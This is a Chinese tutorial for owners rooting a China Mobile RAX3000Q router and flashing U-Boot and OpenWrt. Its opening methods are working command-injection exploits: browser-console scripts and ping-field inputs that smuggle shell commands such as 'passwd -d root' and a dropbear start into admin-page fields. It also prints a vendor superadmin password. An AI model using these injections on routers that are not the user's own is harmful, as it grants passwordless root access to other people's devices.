本教程参考 skyblog 、恩山 imlk ,OpenWrt 固件基于 QSDK 项目编译并由 NWrt 团队提供,本仓库仅提供个人备份用途,有其他特殊需求请联系 NWrt。
请注意:开始本教程之前请务必自行备份机器原本固件,刷机过程中造成的一切后果自行承担。
注意! 本文介绍的获取权限方法可能会随着系统更新失效,如果发现无法取得权限,请查看本仓库 issue、docs 和 其他教程 或自行搜索其他方法,有其他问题也欢迎开 issue。
有两种取得权限的方式,分别是 ssh 和 telnet(同时也有拆机后通过调试串口刷机的方式,但本教程不涉及,可自行搜索):
-
方法一(新方法):
-
首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
-
登录后在浏览器控制台执行以下脚本(将
sessionId替换为你自己的值,可在浏览器开发者工具的请求参数或 Cookie 中找到):{ const sessionId = "YOUR_SESSION_ID_HERE"; //替换为你的sessionId const commands = [ "passwd -d root", "uci set dropbear.@dropbear[0].PasswordAuth='on'", "uci set dropbear.@dropbear[0].RootPasswordAuth='on'", "uci set dropbear.@dropbear[0].Port='22'", "uci set dropbear.@dropbear[0].enable='1'", "uci commit dropbear", "/etc/init.d/dropbear enable", "/etc/init.d/dropbear start" ]; const shellCmd = commands.map(cmd => cmd.replace(/ /g, "${IFS}")).join(";"); // 用 ${IFS} 代替空格,适配该接口命令解析 fetch("/itms", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ cmd: 22, fname: "websys.log |" + shellCmd, method: "get", sessionId: sessionId, }), }) .then((response) => response.json()) .then((data) => { console.log("服务器返回:", data); }) .catch((error) => { console.error("请求失败:", error); }); }
-
脚本中会将命令里的空格替换为
${IFS},这是为了适配该接口的命令解析方式 -
执行完成后,使用 ssh 连接路由器:
ssh root@192.168.x.x(root 默认无密码) -
联网后系统可能会自动打补丁封禁 22 端口,重置系统即可恢复
-
参考讨论: https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8445553&extra=&page=1
-
方法二(原方法):
-
首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
-
进入「更多 --> 诊断 --> ping」页面
-
在”URL或者IP地址”的输入框中输入:
$(dropbear${IFS}-p${IFS}22)来启动 dropbear -
再通过
$(passwd${IFS}-d${IFS}root)来删除 root 的密码 -
使用 ssh 命令来连接路由器:
ssh root@192.168.x.x后将会直接进入而不会询问密码
-
⚠️ 该脚本属于利用漏洞的临时提权手段,请仅在自有设备上使用,勿用于共享或公共网络设备,并确认执行后会清空 root 密码;连接成功后建议立即执行passwd root设置新密码。 -
打开 Chrome 调试窗口,切换到「网络(Network)」
-
刷新页面后,找到
items相关的 POST 请求 -
在「负载(Payload)」中找到
sessionId并记录 -
切换到「控制台(Console)」,输入以下脚本(注意替换示例地址
cmcc.wifi为实际路由器地址,需同步替换url与下方 SSH 命令中的主机名):var url = "http://cmcc.wifi/itms"; var params = { cmd: 22, fname: "websys.log|passwd -d root", method: "get", sessionId: "YOUR_SESSION_ID_HERE" // 替换为上述步骤中记录的 sessionId }; var xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onload = function (e) { if (xhr.readyState === 4) { if (xhr.status === 200) { console.log(xhr.responseText); } else { console.error(xhr.statusText); } } }; xhr.onerror = function (e) {console.error(xhr.statusText);}; xhr.send(JSON.stringify(params));
-
控制台返回空字符串
""后,即可通过 SSH 连接:ssh -oHostKeyAlgorithms=+ssh-rsa root@cmcc.wifi
- 首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
- 进入「更多 --> 诊断 --> ping」页面
- 通过
$(passwd${IFS}-d${IFS}root)来删除 root 的密码 - 重新在浏览器后台页面输入用户名和密码为:
superadmin:83583000后进入后台 - 在「管理 - 系统设置」页面可开启 telnet
- 注意telnet端口号为
4719,应使用telnet 192.168.10.1 4719登陆,用户名为 root,密码无
-
电脑端打开
WinSCP软件 -
新建站点——文件协议选择scp——主机名就是路由器ip——输入用户名 root 和密码登录
-
把
uboot文件夹内的nwrt_rax3000qy_uboot.mbn与nwrt_rax3000qy_mibib.bin放到路由器/tmp文件夹下 -
进入路由器终端 输入如下两个命令:
mtd write /tmp/nwrt_rax3000qy_uboot.mbn /dev/mtd11 mtd write /tmp/nwrt_rax3000qy_mibib.bin /dev/mtd1
-
此时 uboot 已经刷入完毕,可以断开电源。
- 电脑进入控制面板内的网络接口设置网口为静态 ip
192.168.1.2子网掩码255.255.255.0 - 在路由器按住
reset,插上电源 10 秒后松开 reset,浏览器输入192.168.1.1进入Uboot - 选择
openwrt-fw内的任意一个刷机包刷入即可- 2023-12 的版本带
passwall,但有概率无法启动的问题(不稳定) - 2023-11 的版本不带
passwall,可自行通过软件源安装(稳定) - 其他版本请自行测试(理论上越新越稳定)
- 2023-12 的版本带
- 刷入完毕后机器将会重启,耐心等待一会即可进入系统,用户名为
root,密码为password